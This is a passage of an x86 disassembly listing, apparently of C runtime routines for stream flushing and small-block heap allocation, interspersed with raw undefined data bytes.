		dd 0DD87E850h, 458BFFFFh, 8B088BECh, 984D8909h,	3BE85150h
		dd 5900004Ah, 658BC359h, 9875FFE8h, 0FFDD79E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41E1C9	proc near		; CODE XREF: ___:0041D7D8p
					; ___:00422E20p ...

arg_0		= dword	ptr  4

		cmp	dword_4D9790, 1
		jnz	short loc_41E1D7
		call	sub_423498


loc_41E1D7:				; CODE XREF: sub_41E1C9+7j
		push	[esp+arg_0]
		call	sub_4234D1
		push	0FFh
		call	off_43A670
		pop	ecx
		pop	ecx
		retn
sub_41E1C9	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4D9790
		dd 0E8057501h, 529Ch, 42474FFh,	52CCE8h, 0FF685900h, 90000000h
		dd 0A57AA4E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E212	proc near		; CODE XREF: sub_41B9DB+2Ap
					; sub_42393B+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DAB60
		jnb	loc_41E2AC
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DAA60h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E2AC
		push	edi
		call	sub_4237AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E28B
		cmp	edi, 1
		jz	short loc_41E259
		cmp	edi, 2
		jnz	short loc_41E26F


loc_41E259:				; CODE XREF: sub_41E212+40j
		push	2
		call	sub_4237AA
		push	1
		mov	ebp, eax
		call	sub_4237AA
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41E28B


loc_41E26F:				; CODE XREF: sub_41E212+45j
		push	edi
		call	sub_4237AA
		pop	ecx
		push	eax
		nop
		call	near ptr 2660000h
		test	eax, eax
		jnz	short loc_41E28B
		nop
		call	near ptr 2680DCDh
		mov	ebp, eax
		jmp	short loc_41E28D
; ---------------------------------------------------------------------------


loc_41E28B:				; CODE XREF: sub_41E212+3Bj
					; sub_41E212+5Bj ...
		xor	ebp, ebp


loc_41E28D:				; CODE XREF: sub_41E212+77j
		push	edi
		call	sub_423730
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41E2A8
		push	ebp
		call	sub_420314
		pop	ecx
		jmp	short loc_41E2BD
; ---------------------------------------------------------------------------


loc_41E2A8:				; CODE XREF: sub_41E212+8Bj
		xor	eax, eax
		jmp	short loc_41E2C0
; ---------------------------------------------------------------------------


loc_41E2AC:				; CODE XREF: sub_41E212+Ej
					; sub_41E212+2Fj
		and	dword_4D9718, 0
		mov	dword_4D9714, 9


loc_41E2BD:				; CODE XREF: sub_41E212+94j
		or	eax, 0FFFFFFFFh


loc_41E2C0:				; CODE XREF: sub_41E212+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E212	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E2C5	proc near		; CODE XREF: sub_41B9DB+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41E2EE
		test	al, 8
		jz	short loc_41E2EE
		push	dword ptr [esi+8]
		call	sub_41BA31
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41E2EE:				; CODE XREF: sub_41E2C5+Aj
					; sub_41E2C5+Ej
		pop	esi
		retn
sub_41E2C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E2F0	proc near		; CODE XREF: sub_41E390+2Dp
					; sub_41E390+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41E302
		push	esi
		call	sub_41E390
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E302:				; CODE XREF: sub_41E2F0+7j
		push	esi
		call	sub_41E32B
		test	eax, eax
		pop	ecx
		jz	short loc_41E312
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E312:				; CODE XREF: sub_41E2F0+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41E327
		push	dword ptr [esi+10h]
		call	sub_4237E7
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E327:				; CODE XREF: sub_41E2F0+26j
		xor	eax, eax
		pop	esi
		retn
sub_41E2F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E32B	proc near		; CODE XREF: sub_41B9DB+1Ap
					; ___:0041D9C3p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41E378
		test	ax, 108h
		jz	short loc_41E378
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E378
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_422825
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41E371
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41E378
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41E378
; ---------------------------------------------------------------------------


loc_41E371:				; CODE XREF: sub_41E32B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41E378:				; CODE XREF: sub_41E32B+14j
					; sub_41E32B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E32B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E387	proc near		; CODE XREF: sub_4238E3p
		push	1
		call	sub_41E390
		pop	ecx
		retn
sub_41E387	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E390	proc near		; CODE XREF: sub_41E2F0+Ap
					; sub_41E387+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DAA40, esi
		jle	short loc_41E3EE


loc_41E3A1:				; CODE XREF: sub_41E390+5Cj
		mov	eax, dword_4D9A30
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E3E5
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41E3E5
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41E3CB
		push	eax
		call	sub_41E2F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E3E5
		inc	ebx
		jmp	short loc_41E3E5
; ---------------------------------------------------------------------------


loc_41E3CB:				; CODE XREF: sub_41E390+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41E3E5
		test	cl, 2
		jz	short loc_41E3E5
		push	eax
		call	sub_41E2F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E3E5
		or	edi, eax


loc_41E3E5:				; CODE XREF: sub_41E390+1Bj
					; sub_41E390+23j ...
		inc	esi
		cmp	esi, dword_4DAA40
		jl	short loc_41E3A1


loc_41E3EE:				; CODE XREF: sub_41E390+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41E3F9
		mov	eax, edi


loc_41E3F9:				; CODE XREF: sub_41E390+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E390	endp

; ---------------------------------------------------------------------------
		db 33h,	0C0h, 6Ah
		dd 24443900h, 10006808h, 940F0000h, 0E89050C0h,	2491BECh
		dd 0A0A3C085h, 74004DADh, 17E815h, 0C0850000h, 35FF0F75h
		dd 4DADA0h, 48380EE8h, 0C0339002h, 58016AC3h, 14068C3h
		dd 6A0000h, 0ADA035FFh,	0B5E8004Dh, 90023B1Bh, 9CA3C085h
		dd 75004DADh, 2583C301h, 4DAD94h, 98258300h, 4DADh, 90A3016Ah
		dd 0C7004DADh, 4DAD8805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E477	proc near		; CODE XREF: sub_41BA31+Ap
					; sub_41BB48+3Dp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DAD98
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DAD9C
		lea	ecx, [eax+ecx*4]


loc_41E487:				; CODE XREF: sub_41E477+26j
		cmp	eax, ecx
		jnb	short loc_41E49F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41E4A1
		add	eax, 14h
		jmp	short loc_41E487
; ---------------------------------------------------------------------------


loc_41E49F:				; CODE XREF: sub_41E477+12j
		xor	eax, eax

locret_41E4A1:				; CODE XREF: sub_41E477+21j
		retn
sub_41E477	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E4A2	proc near		; CODE XREF: sub_41BA31+16p
					; sub_41BB48+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_41E568
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_41E4FA
		mov	[ebp+arg_4], edi


loc_41E4FA:				; CODE XREF: sub_41E4A2+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_41E54C
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_41E528
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_41E54C
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_41E54C
; ---------------------------------------------------------------------------


loc_41E528:				; CODE XREF: sub_41E4A2+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_41E54C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_41E54C:				; CODE XREF: sub_41E4A2+60j
					; sub_41E4A2+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_41E568:				; CODE XREF: sub_41E4A2+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_41E576
		push	3Fh
		pop	edi


loc_41E576:				; CODE XREF: sub_41E4A2+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_41E625
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_41E5A1
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_41E5A1:				; CODE XREF: sub_41E4A2+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_41E5B3
		mov	edi, edx


loc_41E5B3:				; CODE XREF: sub_41E4A2+10Dj
		cmp	ecx, edi
		jz	short loc_41E622
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_41E60A
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_41E5E6
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_41E60A
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_41E60A
; ---------------------------------------------------------------------------


loc_41E5E6:				; CODE XREF: sub_41E4A2+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_41E60A
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_41E60A:				; CODE XREF: sub_41E4A2+11Ej
					; sub_41E4A2+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_41E622:				; CODE XREF: sub_41E4A2+113j
		mov	edx, [ebp+var_8]


loc_41E625:				; CODE XREF: sub_41E4A2+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_41E634
		cmp	[ebp+arg_4], edi
		jz	loc_41E6BD


loc_41E634:				; CODE XREF: sub_41E4A2+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E6BD
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E691
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E680
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E680:				; CODE XREF: sub_41E4A2+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E6BA
; ---------------------------------------------------------------------------


loc_41E691:				; CODE XREF: sub_41E4A2+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E6A7
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E6A7:				; CODE XREF: sub_41E4A2+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_41E6BA:				; CODE XREF: sub_41E4A2+1EDj
		mov	ebx, [ebp+var_C]


loc_41E6BD:				; CODE XREF: sub_41E4A2+18Cj
					; sub_41E4A2+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_41E7C8
		mov	eax, dword_4DAD94
		test	eax, eax
		jz	loc_41E7BA
		mov	ecx, dword_4DAD8C
		mov	edi, dword_4271D0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi
		mov	ecx, dword_4DAD8C
		mov	eax, dword_4DAD94
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DAD94
		mov	ecx, dword_4DAD8C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DAD94
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DAD94
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E748
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DAD94


loc_41E748:				; CODE XREF: sub_41E4A2+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E7BA
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi
		mov	eax, dword_4DAD94
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DADA0
		call	near ptr 27C0620h
		nop
		mov	eax, dword_4DAD98
		mov	edx, dword_4DAD9C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DAD94
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D400
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DAD98
		cmp	eax, dword_4DAD94
		jbe	short loc_41E7AC
		sub	eax, 14h


loc_41E7AC:				; CODE XREF: sub_41E4A2+305j
		mov	ecx, dword_4DAD9C
		mov	dword_4DAD90, ecx
		jmp	short loc_41E7BD
; ---------------------------------------------------------------------------


loc_41E7BA:				; CODE XREF: sub_41E4A2+233j
					; sub_41E4A2+2AAj
		mov	eax, [ebp+arg_0]


loc_41E7BD:				; CODE XREF: sub_41E4A2+316j
		mov	dword_4DAD94, eax
		mov	dword_4DAD8C, esi


loc_41E7C8:				; CODE XREF: sub_41E4A2+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E4A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E7CD	proc near		; CODE XREF: sub_41BB48+69p
					; sub_41BCD9+Ep ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DAD98
		mov	edx, dword_4DAD9C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E80D
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E81D
; ---------------------------------------------------------------------------


loc_41E80D:				; CODE XREF: sub_41E7CD+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E81D:				; CODE XREF: sub_41E7CD+3Ej
		mov	eax, dword_4DAD90
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E844


loc_41E82B:				; CODE XREF: sub_41E7CD+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E844
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E82B


loc_41E844:				; CODE XREF: sub_41E7CD+5Cj
					; sub_41E7CD+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E8C2
		mov	ebx, edx


loc_41E84B:				; CODE XREF: sub_41E7CD+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E867
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E865
		add	ebx, 14h
		jmp	short loc_41E84B
; ---------------------------------------------------------------------------


loc_41E865:				; CODE XREF: sub_41E7CD+91j
		cmp	ebx, eax


loc_41E867:				; CODE XREF: sub_41E7CD+83j
		jnz	short loc_41E8C2


loc_41E869:				; CODE XREF: sub_41E7CD+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E87F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E87C
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E869
; ---------------------------------------------------------------------------


loc_41E87C:				; CODE XREF: sub_41E7CD+A5j
		cmp	ebx, [ebp+var_4]


loc_41E87F:				; CODE XREF: sub_41E7CD+9Fj
		jnz	short loc_41E8A7
		mov	ebx, edx


loc_41E883:				; CODE XREF: sub_41E7CD+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E897
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E895
		add	ebx, 14h
		jmp	short loc_41E883
; ---------------------------------------------------------------------------


loc_41E895:				; CODE XREF: sub_41E7CD+C1j
		cmp	ebx, eax


loc_41E897:				; CODE XREF: sub_41E7CD+BBj
		jnz	short loc_41E8A7
		call	sub_41EAD6
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E8BB


loc_41E8A7:				; CODE XREF: sub_41E7CD:loc_41E87Fj
					; sub_41E7CD:loc_41E897j
		push	ebx
		call	sub_41EB87
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E8C2


loc_41E8BB:				; CODE XREF: sub_41E7CD+D8j
		xor	eax, eax
		jmp	loc_41EAD1
; ---------------------------------------------------------------------------


loc_41E8C2:				; CODE XREF: sub_41E7CD+7Aj
					; sub_41E7CD:loc_41E867j ...
		mov	dword_4DAD90, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E8E9
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E920


loc_41E8E9:				; CODE XREF: sub_41E7CD+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E91D


loc_41E906:				; CODE XREF: sub_41E7CD+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E906


loc_41E91D:				; CODE XREF: sub_41E7CD+137j
		mov	edx, [ebp+var_4]


loc_41E920:				; CODE XREF: sub_41E7CD+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E949
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E949:				; CODE XREF: sub_41E7CD+16Dj
					; sub_41E7CD+183j
		test	ecx, ecx
		jl	short loc_41E952
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E949
; ---------------------------------------------------------------------------


loc_41E952:				; CODE XREF: sub_41E7CD+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E96F
		push	3Fh
		pop	esi


loc_41E96F:				; CODE XREF: sub_41E7CD+19Dj
		cmp	esi, edi
		jz	loc_41EA84
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E9E0
		cmp	edi, 20h
		jge	short loc_41E9AF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E9DD
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E9E0
; ---------------------------------------------------------------------------


loc_41E9AF:				; CODE XREF: sub_41E7CD+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E9DD
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E9E0
; ---------------------------------------------------------------------------


loc_41E9DD:				; CODE XREF: sub_41E7CD+1D6j
					; sub_41E7CD+203j
		mov	ebx, [ebp+arg_0]


loc_41E9E0:				; CODE XREF: sub_41E7CD+1B0j
					; sub_41E7CD+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41EA90
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41EA81
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41EA52
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41EA40
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41EA40:				; CODE XREF: sub_41E7CD+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41EA81
; ---------------------------------------------------------------------------


loc_41EA52:				; CODE XREF: sub_41E7CD+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41EA6B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41EA6B:				; CODE XREF: sub_41E7CD+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41EA81:				; CODE XREF: sub_41E7CD+24Ej
					; sub_41E7CD+283j
		mov	ecx, [ebp+var_8]


loc_41EA84:				; CODE XREF: sub_41E7CD+1A4j
		test	ecx, ecx
		jz	short loc_41EA93
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41EA93
; ---------------------------------------------------------------------------


loc_41EA90:				; CODE XREF: sub_41E7CD+229j
		mov	ecx, [ebp+var_8]


loc_41EA93:				; CODE XREF: sub_41E7CD+2B9j
					; sub_41E7CD+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41EAC9
		cmp	ebx, dword_4DAD94
		jnz	short loc_41EAC9
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DAD8C
		jnz	short loc_41EAC9
		and	dword_4DAD94, 0


loc_41EAC9:				; CODE XREF: sub_41E7CD+2E0j
					; sub_41E7CD+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41EAD1:				; CODE XREF: sub_41E7CD+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E7CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EAD6	proc near		; CODE XREF: sub_41E7CD+CCp
		mov	eax, dword_4DAD98
		mov	ecx, dword_4DAD88
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41EB19
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DAD9C
